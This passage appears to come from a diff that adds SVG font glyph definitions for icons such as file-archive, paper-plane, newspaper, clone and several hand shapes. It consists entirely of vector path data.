-48s-21.5 -48 -48 -48s-48 21.5 -48 48 +s21.5 48 48 48z" /> + <glyph glyph-name="file-archive" unicode="" horiz-adv-x="384" +d="M128.3 288h32v-32h-32v32zM192.3 384v-32h-32v32h32zM128.3 352h32v-32h-32v32zM192.3 320v-32h-32v32h32zM369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1 +c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM256 396.1v-76.0996h76.0996zM336 -16v288h-104c-13.2998 0 -24 10.7002 -24 24v104h-48.2998v-16h-32v16h-79.7002v-416h288zM194.2 182.3l17.2998 -87.7002c6.40039 -32.3994 -18.4004 -62.5996 -51.5 -62.5996 +c-33.2002 0 -58 30.4004 -51.4004 62.9004l19.7002 97.0996v32h32v-32h22.1006c5.7998 0 10.6992 -4.09961 11.7998 -9.7002zM160.3 57.9004c17.9004 0 32.4004 12.0996 32.4004 27c0 14.8994 -14.5 27 -32.4004 27c-17.8994 0 -32.3994 -12.1006 -32.3994 -27 +c0 -14.9004 14.5 -27 32.3994 -27zM192.3 256v-32h-32v32h32z" /> + <glyph glyph-name="file-audio" unicode="" horiz-adv-x="384" +d="M369.941 350.059c8.68848 -8.68848 14.0586 -20.6943 14.0586 -33.9404v-332.118c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v416c0 26.5098 21.4902 48 48 48h204.118c13.2461 0 25.252 -5.37012 33.9404 -14.0586zM332.118 320 +l-76.1182 76.1182v-76.1182h76.1182zM48 -16h288v288h-104c-13.2549 0 -24 10.7451 -24 24v104h-160v-416zM192 60.0244c0 -10.6914 -12.9258 -16.0459 -20.4854 -8.48535l-35.5146 35.9746h-28c-6.62695 0 -12 5.37305 -12 12v56c0 6.62695 5.37305 12 12 12h28 +l35.5146 36.9473c7.56055 7.56055 20.4854 2.20605 20.4854 -8.48535v-135.951zM233.201 107.154c9.05078 9.29688 9.05957 24.1328 0.000976562 33.4385c-22.1494 22.752 12.2344 56.2461 34.3945 33.4814c27.1982 -27.9404 27.2119 -72.4443 0.000976562 -100.401 +c-21.793 -22.3857 -56.9463 10.3154 -34.3965 33.4814z" /> + <glyph glyph-name="file-video" unicode="" horiz-adv-x="384" +d="M369.941 350.059c8.68848 -8.68848 14.0586 -20.6943 14.0586 -33.9404v-332.118c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v416c0 26.5098 21.4902 48 48 48h204.118c13.2461 0 25.252 -5.37012 33.9404 -14.0586zM332.118 320 +l-76.1182 76.1182v-76.1182h76.1182zM48 -16h288v288h-104c-13.2549 0 -24 10.7451 -24 24v104h-160v-416zM276.687 195.303c10.0049 10.0049 27.3135 2.99707 27.3135 -11.3135v-111.976c0 -14.2939 -17.2959 -21.332 -27.3135 -11.3135l-52.6865 52.6738v-37.374 +c0 -11.0459 -8.9541 -20 -20 -20h-104c-11.0459 0 -20 8.9541 -20 20v104c0 11.0459 8.9541 20 20 20h104c11.0459 0 20 -8.9541 20 -20v-37.374z" /> + <glyph glyph-name="file-code" unicode="" horiz-adv-x="384" +d="M149.9 98.9004c3.5 -3.30078 3.69922 -8.90039 0.399414 -12.4004l-17.3994 -18.5996c-1.60059 -1.80078 -4 -2.80078 -6.40039 -2.80078c-2.2002 0 -4.40039 0.900391 -6 2.40039l-57.7002 54.0996c-3.7002 3.40039 -3.7002 9.30078 0 12.8008l57.7002 54.0996 +c3.40039 3.2998 9 3.2002 12.4004 -0.400391l17.3994 -18.5996l0.200195 -0.200195c3.2002 -3.59961 2.7998 -9.2002 -0.799805 -12.3994l-32.7998 -28.9004l32.7998 -28.9004zM369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288 +c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM256 396.1v-76.0996h76.0996zM336 -16v288h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416h288zM209.6 234l24.4004 -7 +c4.7002 -1.2998 7.40039 -6.2002 6 -10.9004l-54.7002 -188.199c-1.2998 -4.60059 -6.2002 -7.40039 -10.8994 -6l-24.4004 7.09961c-4.7002 1.2998 -7.40039 6.2002 -6 10.9004l54.7002 188.1c1.39941 4.7002 6.2002 7.40039 10.8994 6zM234.1 157.1 +c-3.5 3.30078 -3.69922 8.90039 -0.399414 12.4004l17.3994 18.5996c3.30078 3.60059 8.90039 3.7002 12.4004 0.400391l57.7002 -54.0996c3.7002 -3.40039 3.7002 -9.30078 0 -12.8008l-57.7002 -54.0996c-3.5 -3.2998 -9.09961 -3.09961 -12.4004 0.400391 +l-17.3994 18.5996l-0.200195 0.200195c-3.2002 3.59961 -2.7998 9.2002 0.799805 12.3994l32.7998 28.9004l-32.7998 28.9004z" /> + <glyph glyph-name="life-ring" unicode="" +d="M256 -56c-136.967 0 -248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248s-111.033 -248 -248 -248zM152.602 20.7197c63.2178 -38.3184 143.579 -38.3184 206.797 0l-53.4111 53.4111c-31.8467 -13.5215 -68.168 -13.5059 -99.9746 0zM336 192 +c0 44.1123 -35.8877 80 -80 80s-80 -35.8877 -80 -80s35.8877 -80 80 -80s80 35.8877 80 80zM427.28 88.6016c38.3184 63.2178 38.3184 143.579 0 206.797l-53.4111 -53.4111c13.5215 -31.8467 13.5049 -68.168 0 -99.9746zM359.397 363.28 +c-63.2168 38.3184 -143.578 38.3184 -206.796 0l53.4111 -53.4111c31.8457 13.5215 68.167 13.5049 99.9736 0zM84.7197 295.398c-38.3184 -63.2178 -38.3184 -143.579 0 -206.797l53.4111 53.4111c-13.5215 31.8467 -13.5059 68.168 0 99.9746z" /> + <glyph glyph-name="paper-plane" unicode="" +d="M440 441.5c34.5996 19.9004 77.5996 -8.7998 71.5 -48.9004l-59.4004 -387.199c-2.2998 -14.5 -11.0996 -27.3008 -23.8994 -34.5c-7.2998 -4.10059 -15.4004 -6.2002 -23.6006 -6.2002c-6.19922 0 -12.3994 1.2002 -18.2998 3.59961l-111.899 46.2002l-43.8008 -59.0996 +c-27.3994 -36.9004 -86.5996 -17.8008 -86.5996 28.5996v84.4004l-114.3 47.2998c-36.7998 15.0996 -40.1006 66 -5.7002 85.8994zM192 -16l36.5996 49.5l-36.5996 15.0996v-64.5996zM404.6 12.7002l59.4004 387.3l-416 -240l107.8 -44.5996l211.5 184.3 +c14.2002 12.2998 34.4004 -5.7002 23.7002 -21.2002l-140.2 -202.3z" /> + <glyph glyph-name="futbol" unicode="" horiz-adv-x="496" +d="M483.8 268.6c42.2998 -130.199 -29 -270.1 -159.2 -312.399c-25.5 -8.2998 -51.2998 -12.2002 -76.6992 -12.2002c-104.5 0 -201.7 66.5996 -235.7 171.4c-42.2998 130.199 29 270.1 159.2 312.399c25.5 8.2998 51.2998 12.2002 76.6992 12.2002 +c104.5 0 201.7 -66.5996 235.7 -171.4zM409.3 74.9004c6.10059 8.39941 12.1006 16.8994 16.7998 26.1992c14.3008 28.1006 21.5 58.5 21.7002 89.2002l-38.8994 36.4004l-71.1006 -22.1006l-24.3994 -75.1992l43.6992 -60.9004zM409.3 310.3 +c-24.5 33.4004 -58.7002 58.4004 -97.8994 71.4004l-47.4004 -26.2002v-73.7998l64.2002 -46.5l70.7002 22zM184.9 381.6c-39.9004 -13.2998 -73.5 -38.5 -97.8008 -71.8994l10.1006 -52.5l70.5996 -22l64.2002 46.5v73.7998zM139 68.5l43.5 61.7002l-24.2998 74.2998 +l-71.1006 22.2002l-39 -36.4004c0.5 -55.7002 23.4004 -95.2002 37.8008 -115.3zM187.2 1.5c64.0996 -20.4004 115.5 -1.7998 121.7 0l22.3994 48.0996l-44.2998 61.7002h-78.5996l-43.6006 -61.7002z" /> + <glyph glyph-name="newspaper" unicode="" horiz-adv-x="576" +d="M552 384c13.2549 0 24 -10.7451 24 -24v-336c0 -13.2549 -10.7451 -24 -24 -24h-496c-30.9277 0 -56 25.0723 -56 56v272c0 13.2549 10.7451 24 24 24h42.752c6.60547 18.623 24.3896 32 45.248 32h440zM48 56c0 -4.41113 3.58887 -8 8 -8s8 3.58887 8 8v248h-16v-248z +M528 48v288h-416v-280c0 -2.7168 -0.204102 -5.38574 -0.578125 -8h416.578zM172 168c-6.62695 0 -12 5.37305 -12 12v96c0 6.62695 5.37305 12 12 12h136c6.62695 0 12 -5.37305 12 -12v-96c0 -6.62695 -5.37305 -12 -12 -12h-136zM200 248v-40h80v40h-80zM160 108v24 +c0 6.62695 5.37305 12 12 12h136c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-136c-6.62695 0 -12 5.37305 -12 12zM352 108v24c0 6.62695 5.37305 12 12 12h104c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-104 +c-6.62695 0 -12 5.37305 -12 12zM352 252v24c0 6.62695 5.37305 12 12 12h104c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-104c-6.62695 0 -12 5.37305 -12 12zM352 180v24c0 6.62695 5.37305 12 12 12h104c6.62695 0 12 -5.37305 12 -12v-24 +c0 -6.62695 -5.37305 -12 -12 -12h-104c-6.62695 0 -12 5.37305 -12 12z" /> + <glyph glyph-name="bell-slash" unicode="" horiz-adv-x="640" +d="M633.99 -23.0195c6.91016 -5.52051 8.01953 -15.5908 2.5 -22.4902l-10 -12.4902c-5.53027 -6.88965 -15.5898 -8.00977 -22.4902 -2.49023l-598 467.51c-6.90039 5.52051 -8.01953 15.5908 -2.49023 22.4902l10 12.4902 +c5.52051 6.90039 15.5898 8.00977 22.4902 2.49023zM163.53 80h182.84l61.3994 -48h-279.659c-19.1201 0 -31.9902 15.5996 -32.1006 32c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c18.3701 19.7402 51.5703 49.6904 54.8398 140.42l45.4697 -35.5498 +c-6.91992 -54.7803 -24.6895 -88.5498 -41.3994 -110.58zM320 352c-23.3496 0 -45 -7.17969 -62.9404 -19.4004l-38.1699 29.8408c19.6807 15.7793 43.1104 27.3096 69.1299 32.7197v20.8398c0 17.6699 14.3203 32 31.9805 32s31.9805 -14.3301 31.9805 -32v-20.8398 +c73.46 -15.2598 127.939 -77.46 127.939 -155.16c0 -41.3604 6.03027 -70.7197 14.3398 -92.8496l-59.5293 46.54c-1.63086 13.96 -2.77051 28.8896 -2.79004 45.7295c0 0.200195 0.0595703 0.379883 0.0595703 0.580078c0 61.8604 -50.1396 112 -112 112zM320 -64 +c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64z" /> + <glyph glyph-name="copyright" unicode="" +d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM256 -8c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200c-110.549 0 -200 -89.4688 -200 -200c0 -110.549 89.4678 -200 200 -200z +M363.351 93.0645c-9.61328 -9.71289 -45.5293 -41.3965 -104.064 -41.3965c-82.4297 0 -140.484 61.4248 -140.484 141.567c0 79.1514 60.2754 139.4 139.763 139.4c55.5303 0 88.7373 -26.6201 97.5928 -34.7783c2.37793 -2.1875 3.86914 -5.3252 3.86914 -8.80762 +c0 -2.39746 -0.717773 -4.64258 -1.93359 -6.51465l-18.1543 -28.1133c-3.8418 -5.9502 -11.9668 -7.28223 -17.499 -2.9209c-8.5957 6.77637 -31.8145 22.5381 -61.708 22.5381c-48.3037 0 -77.916 -35.3301 -77.916 -80.082c0 -41.5889 26.8877 -83.6924 78.2764 -83.6924 +c32.6572 0 56.8428 19.0391 65.7266 27.2256c5.26953 4.85645 13.5957 4.03906 17.8193 -1.73828l19.8652 -27.1699c1.45996 -1.98145 2.32422 -4.42969 2.32422 -7.07715c0 -3.28809 -1.32422 -6.2793 -3.47656 -8.44043z" /> + <glyph glyph-name="closed-captioning" unicode="" +d="M464 384c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h416zM458 48c3.2998 0 6 2.7002 6 6v276c0 3.2998 -2.7002 6 -6 6h-404c-3.2998 0 -6 -2.7002 -6 -6v-276c0 -3.2998 2.7002 -6 6 -6h404z +M246.9 133.7c1.69922 -2.40039 1.5 -5.60059 -0.5 -7.7002c-53.6006 -56.7998 -172.801 -32.0996 -172.801 67.9004c0 97.2998 121.7 119.5 172.5 70.0996c2.10059 -2 2.5 -3.2002 1 -5.7002l-17.5 -30.5c-1.89941 -3.09961 -6.19922 -4 -9.09961 -1.7002 +c-40.7998 32 -94.5996 14.9004 -94.5996 -31.1992c0 -48 51 -70.5 92.1992 -32.6006c2.80078 2.5 7.10059 2.10059 9.2002 -0.899414zM437.3 133.7c1.7002 -2.40039 1.5 -5.60059 -0.5 -7.7002c-53.5996 -56.9004 -172.8 -32.0996 -172.8 67.9004 +c0 97.2998 121.7 119.5 172.5 70.0996c2.09961 -2 2.5 -3.2002 1 -5.7002l-17.5 -30.5c-1.90039 -3.09961 -6.2002 -4 -9.09961 -1.7002c-40.8008 32 -94.6006 14.9004 -94.6006 -31.1992c0 -48 51 -70.5 92.2002 -32.6006c2.7998 2.5 7.09961 2.10059 9.2002 -0.899414z +" /> + <glyph glyph-name="object-group" unicode="" +d="M500 320h-12v-256h12c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v12h-320v-12c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h12v256h-12 +c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-12h320v12c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12zM448 384v-32h32v32h-32zM32 384v-32h32v32h-32zM64 0v32 +h-32v-32h32zM480 0v32h-32v-32h32zM440 64v256h-12c-6.62695 0 -12 5.37305 -12 12v12h-320v-12c0 -6.62695 -5.37305 -12 -12 -12h-12v-256h12c6.62695 0 12 -5.37305 12 -12v-12h320v12c0 6.62695 5.37305 12 12 12h12zM404 256c6.62695 0 12 -5.37207 12 -12v-168 +c0 -6.62793 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37207 -12 12v52h-84c-6.62695 0 -12 5.37207 -12 12v168c0 6.62793 5.37305 12 12 12h200c6.62695 0 12 -5.37207 12 -12v-52h84zM136 280v-112h144v112h-144zM376 104v112h-56v-76 +c0 -6.62793 -5.37305 -12 -12 -12h-76v-24h144z" /> + <glyph glyph-name="object-ungroup" unicode="" horiz-adv-x="576" +d="M564 224h-12v-160h12c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v12h-224v-12c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h12v24h-88v-12 +c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h12v160h-12c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-12h224v12c0 6.62695 5.37305 12 12 12h72 +c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-12v-24h88v12c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12zM352 384v-32h32v32h-32zM352 128v-32h32v32h-32zM64 96v32h-32v-32h32zM64 352v32 +h-32v-32h32zM96 136h224v12c0 6.62695 5.37305 12 12 12h12v160h-12c-6.62695 0 -12 5.37305 -12 12v12h-224v-12c0 -6.62695 -5.37305 -12 -12 -12h-12v-160h12c6.62695 0 12 -5.37305 12 -12v-12zM224 0v32h-32v-32h32zM504 64v160h-12c-6.62695 0 -12 5.37305 -12 12v12 +h-88v-88h12c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v12h-88v-24h12c6.62695 0 12 -5.37305 12 -12v-12h224v12c0 6.62695 5.37305 12 12 12h12zM544 0v32h-32v-32h32zM544 256v32h-32v-32h32z" /> + <glyph glyph-name="sticky-note" unicode="" horiz-adv-x="448" +d="M448 99.8936c0 -13.2451 -5.37012 -25.252 -14.0586 -33.9404l-83.8828 -83.8818c-8.68848 -8.68848 -20.6943 -14.0596 -33.9404 -14.0596h-268.118c-26.5098 0 -48 21.4902 -48 48v351.988c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-268.106z +M320 19.8936l76.1182 76.1182h-76.1182v-76.1182zM400 368h-352v-351.988h224v104c0 13.2549 10.7451 24 24 24h104v223.988z" /> + <glyph glyph-name="clone" unicode="" +d="M464 448c26.5098 0 48 -21.4902 48 -48v-320c0 -26.5098 -21.4902 -48 -48 -48h-48v-48c0 -26.5098 -21.4902 -48 -48 -48h-320c-26.5098 0 -48 21.4902 -48 48v320c0 26.5098 21.4902 48 48 48h48v48c0 26.5098 21.4902 48 48 48h320zM362 -16c3.31152 0 6 2.68848 6 6 +v42h-224c-26.5098 0 -48 21.4902 -48 48v224h-42c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h308zM458 80c3.31152 0 6 2.68848 6 6v308c0 3.31152 -2.68848 6 -6 6h-308c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h308z" /> + <glyph glyph-name="hourglass" unicode="" horiz-adv-x="384" +d="M368 400c0 -80.0996 -31.8984 -165.619 -97.1797 -208c64.9912 -42.1934 97.1797 -127.436 97.1797 -208h4c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-360c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h4 +c0 80.0996 31.8994 165.619 97.1797 208c-64.9912 42.1934 -97.1797 127.436 -97.1797 208h-4c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h360c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-4zM64 400 +c0 -101.621 57.3066 -184 128 -184s128 82.3799 128 184h-256zM320 -16c0 101.62 -57.3076 184 -128 184s-128 -82.3799 -128 -184h256z" /> + <glyph glyph-name="hand-rock" unicode="" +d="M408.864 368.948c48.8213 20.751 103.136 -15.0723 103.136 -67.9111v-114.443c0 -15.3955 -3.08887 -30.3906 -9.18262 -44.5674l-42.835 -99.6562c-4.99707 -11.625 -3.98242 -18.8574 -3.98242 -42.3701c0 -17.6729 -14.3271 -32 -32 -32h-252 +c-17.6729 0 -32 14.3271 -32 32c0 27.3301 1.1416 29.2012 -3.11035 32.9033l-97.71 85.0811c-24.8994 21.6797 -39.1797 52.8926 -39.1797 85.6338v56.9531c0 47.4277 44.8457 82.0215 91.0459 71.1807c1.96094 55.751 63.5107 87.8262 110.671 60.8057 +c29.1895 31.0713 78.8604 31.4473 108.334 -0.0214844c32.7051 18.6846 76.4121 10.3096 98.8135 -23.5879zM464 186.594v114.445c0 34.29 -52 33.8232 -52 0.676758c0 -8.83594 -7.16309 -16 -16 -16h-7c-8.83691 0 -16 7.16406 -16 16v26.751 +c0 34.457 -52 33.707 -52 0.676758v-27.4287c0 -8.83594 -7.16309 -16 -16 -16h-7c-8.83691 0 -16 7.16406 -16 16v40.4658c0 34.3525 -52 33.8115 -52 0.677734v-41.1436c0 -8.83594 -7.16406 -16 -16 -16h-7c-8.83594 0 -16 7.16406 -16 16v26.751 +c0 34.4023 -52 33.7744 -52 0.676758v-116.571c0 -8.83105 -7.17773 -15.9961 -16.0078 -15.9961c-4.0166 0 -7.68848 1.48242 -10.499 3.92969l-7 6.09473c-3.37012 2.93457 -5.49316 7.25293 -5.49316 12.0674v41.2275c0 34.2148 -52 33.8857 -52 0.677734v-56.9531 +c0 -18.8555 8.27441 -36.874 22.7002 -49.4365l97.71 -85.0801c12.4502 -10.8398 19.5898 -26.4463 19.5898 -42.8164v-10.2861h220v7.07617c0 13.21 2.65332 26.0791 7.88281 38.25l42.835 99.6553c3.37891 7.82715 5.28223 16.501 5.28223 25.5625v0.0498047z" /> + <glyph glyph-name="hand-paper" unicode="" horiz-adv-x="448" +d="M372.57 335.359c39.9062 5.63281 75.4297 -25.7393 75.4297 -66.3594v-131.564c-0.00292969 -15.7393 -1.80566 -30.9482 -5.19531 -45.666l-30.1836 -130.958c-3.34668 -14.5234 -16.2783 -24.8125 -31.1816 -24.8125h-222.897 +c-10.7539 0 -20.2588 5.28613 -26.0615 13.4316l-119.97 168.415c-21.2441 29.8203 -14.8047 71.3574 14.5498 93.1533c18.7754 13.9395 42.1309 16.2979 62.083 8.87109v126.13c0 44.0547 41.125 75.5439 82.4053 64.9834c23.8926 48.1963 92.3535 50.2471 117.982 0.74707 +c42.5186 11.1445 83.0391 -21.9346 83.0391 -65.5469v-10.8242zM399.997 137.437l-0.00195312 131.563c0 24.9492 -36.5703 25.5508 -36.5703 -0.691406v-76.3086c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16v154.184 +c0 25.501 -36.5703 26.3633 -36.5703 0.691406v-154.875c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16v188.309c0 25.501 -36.5703 26.3545 -36.5703 0.691406v-189c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16 +v153.309c0 25.501 -36.5713 26.3359 -36.5713 0.691406v-206.494c0 -15.5703 -20.0352 -21.9092 -29.0303 -9.2832l-27.1279 38.0791c-14.3711 20.1709 -43.833 -2.33496 -29.3945 -22.6045l115.196 -161.697h201.92l27.3252 118.551 +c2.63086 11.417 3.96484 23.1553 3.96484 34.8857z" /> + <glyph glyph-name="hand-scissors" unicode="" +d="M256 -32c-44.9561 0 -77.3428 43.2627 -64.0244 85.8535c-21.6484 13.71 -34.0156 38.7617 -30.3408 65.0068h-87.6348c-40.8037 0 -74 32.8105 -74 73.1406c0 40.3291 33.1963 73.1396 74 73.1396l94 -9.14062l-78.8496 18.6787 +c-38.3076 14.7422 -57.04 57.4707 -41.9424 95.1123c15.0303 37.4736 57.7549 55.7803 95.6416 41.2012l144.929 -55.7568c24.9551 30.5566 57.8086 43.9932 92.2178 24.7324l97.999 -54.8525c20.9746 -11.7393 34.0049 -33.8457 34.0049 -57.6904v-205.702 +c0 -30.7422 -21.4404 -57.5576 -51.7979 -64.5537l-118.999 -27.4268c-4.97168 -1.14648 -10.0889 -1.72949 -15.2031 -1.72949zM256 16.0127l70 -0.000976562c1.52441 0 2.99707 0.174805 4.42285 0.501953l119.001 27.4277 +c8.58203 1.97754 14.5762 9.29102 14.5762 17.7812v205.701c0 6.4873 -3.62109 12.542 -9.44922 15.8047l-98 54.8545c-8.13965 4.55566 -18.668 2.61914 -24.4873 -4.50781l-21.7646 -26.6475c-2.93457 -3.59375 -7.40332 -5.87305 -12.4004 -5.87305 +c-2.02246 0 -3.95703 0.375977 -5.73828 1.06152l-166.549 64.0908c-32.6543 12.5664 -50.7744 -34.5771 -19.2227 -46.7168l155.357 -59.7852c6 -2.30859 10.2539 -8.12402 10.2539 -14.9326v-11.6328c0 -8.83691 -7.16309 -16 -16 -16h-182 +c-34.375 0 -34.4297 -50.2803 0 -50.2803h182c8.83691 0 16 -7.16309 16 -16v-6.85645c0 -8.83691 -7.16309 -16 -16 -16h-28c-25.1221 0 -25.1592 -36.5674 0 -36.5674h28c8.83691 0 16 -7.16211 16 -16v-6.85547c0 -8.83691 -7.16309 -16 -16 -16 +c-25.1201 0 -25.1602 -36.5674 0 -36.5674z" /> + <glyph glyph-name="hand-lizard" unicode="" horiz-adv-x="576" +d="M556.686 157.458c12.6357 -19.4863 19.3145 -42.0615 19.3145 -65.2871v-124.171h-224v71.582l-99.751 38.7871c-2.7832 1.08203 -5.70996 1.63086 -8.69727 1.63086h-131.552c-30.8789 0 -56 25.1211 -56 56c0 48.5234 39.4766 88 88 88h113.709l18.333 48h-196.042 +c-44.1123 0 -80 35.8877 -80 80v8c0 30.8779 25.1211 56 56 56h293.917c24.5 0 47.084 -12.2725 60.4111 -32.8291zM528 16v76.1709c0 0.0166016 -0.0439453 0.106445 -0.0439453 0.12207c0 14.3945 -4.24219 27.8057 -11.5439 39.0498l-146.358 225.715 +c-4.44336 6.85254 -11.9707 10.9424 -20.1367 10.9424h-293.917c-4.41113 0 -8 -3.58887 -8 -8v-8c0 -17.6445 14.3555 -32 32 -32h213.471c25.2021 0 42.626 -25.293 33.6299 -48.8457l-24.5518 -64.2812c-7.05371 -18.4658 -25.0732 -30.873 -44.8398 -30.873h-113.709 +c-22.0557 0 -40 -17.9443 -40 -40c0 -4.41113 3.58887 -8 8 -8h131.552c0.0175781 0 0.0712891 -0.0273438 0.0888672 -0.0273438c9.16992 0 17.9404 -1.72461 26.0039 -4.86621l99.752 -38.7881c18.5898 -7.22852 30.6035 -24.7881 30.6035 -44.7363v-23.582h128z" /> + <glyph glyph-name="hand-spock" unicode="" +d="M501.03 331.824c6.92773 -11.1826 10.9697 -24.4053 10.9697 -38.5146c0 -5.92676 -0.706055 -11.6885 -2.03809 -17.208l-57.623 -241.963c-13.2236 -56.1904 -63.707 -98.1387 -123.908 -98.1387h-0.352539h-107.455 +c-0.0761719 0 -0.193359 0.00195312 -0.270508 0.00195312c-40.9248 0 -78.1475 15.9814 -105.761 42.0391l-91.3652 85.9766c-14.3076 13.4434 -23.2246 32.5547 -23.2246 53.7168c0 19.5254 7.61035 37.2861 20.0254 50.4766 +c5.31836 5.66406 29.875 29.3926 68.1152 21.8477l-24.3594 82.1973c-1.97363 6.64844 -2.97656 13.6836 -2.97656 20.9688c0 38.6953 29.8926 70.4639 67.8262 73.4531c-0.246094 2.45117 -0.34082 4.85547 -0.34082 7.37207c0 34.4199 23.585 63.376 55.4619 71.5752 +c43.248 10.9785 80.5645 -17.7012 89.6602 -53.0723l13.6836 -53.207l4.64648 22.6602c6.99023 33.5186 36.6826 58.8037 72.2373 58.916c8.73438 0 56.625 -3.26953 70.7383 -54.0801c15.0664 0.710938 46.9199 -3.50977 66.3105 -35.0176zM463.271 287.219 +c7.86914 32.9844 -42.1211 45.2695 -50.0859 11.9219l-24.8008 -104.146c-4.38867 -18.4141 -31.7783 -11.8926 -28.0557 6.2168l28.5479 139.166c7.39844 36.0703 -43.3076 45.0703 -50.1182 11.9629l-31.791 -154.971 +c-3.54883 -17.3086 -28.2832 -18.0469 -32.7109 -0.804688l-47.3262 184.035c-8.43359 32.8105 -58.3691 20.2676 -49.8652 -12.8359l42.4414 -165.039c4.81641 -18.7207 -23.3711 -26.9121 -28.9648 -8.00781l-31.3438 105.779 +c-9.6875 32.6465 -59.1191 18.2578 -49.3867 -14.625l36.0137 -121.539c6.59375 -22.2441 10.1777 -45.7803 10.1777 -70.1523c0 -6.54297 -8.05664 -10.9355 -13.4824 -5.82617l-51.123 48.1074c-24.7852 23.4082 -60.0527 -14.1875 -35.2793 -37.4902l91.3691 -85.9805 +c19.0469 -17.9736 44.75 -28.998 72.9795 -28.998h0.157227h107.455c0.0732422 0 0.138672 0.0429688 0.212891 0.0429688c37.5791 0 69.1016 26.1416 77.3564 61.2168z" /> + <glyph glyph-name="hand-pointer" unicode="" horiz-adv-x="448" +d="M358.182 268.639c43.1934 16.6348 89.8184 -15.7949 89.8184 -62.6387v-84c-0.000976562 -5.24023 -0.600586 -10.3037 -1.72754 -15.2041l-27.4297 -118.999c-6.98242 -30.2969 -33.7549 -51.7969 -64.5566 -51.7969h-178.286 +c-21.2588 0 -41.3682 10.4102 -53.791 27.8457l-109.699 154.001c-21.2432 29.8193 -14.8047 71.3574 14.5498 93.1523c18.8115 13.9658 42.1748 16.2822 62.083 8.87207v161.129c0 36.9443 29.7363 67 66.2861 67s66.2861 -30.0557 66.2861 -67v-73.6338 +c20.4131 2.85742 41.4678 -3.94238 56.5947 -19.6289c27.1934 12.8467 60.3799 5.66992 79.8721 -19.0986zM80.9854 168.303c-14.4004 20.2119 -43.8008 -2.38281 -29.3945 -22.6055l109.712 -154c3.43457 -4.81934 8.92871 -7.69727 14.6973 -7.69727h178.285 +c8.49219 0 15.8037 5.99414 17.7822 14.5762l27.4297 119.001c0.333008 1.44629 0.501953 2.93457 0.501953 4.42285v84c0 25.1602 -36.5713 25.1211 -36.5713 0c0 -8.83594 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16406 -16 16v21 +c0 25.1602 -36.5713 25.1201 -36.5713 0v-21c0 -8.83594 -7.16309 -16 -16 -16h-6.85938c-8.83691 0 -16 7.16406 -16 16v35c0 25.1602 -36.5703 25.1201 -36.5703 0v-35c0 -8.83594 -7.16309 -16 -16 -16h-6.85742c-8.83691 0 -16 7.16406 -16 16v175 +c0 25.1602 -36.5713 25.1201 -36.5713 0v-241.493c0 -15.5703 -20.0352 -21.9092 -29.0303 -9.2832zM176.143 48v96c0 8.83691 6.26855 16 14 16h6c7.73242 0 14 -7.16309 14 -16v-96c0 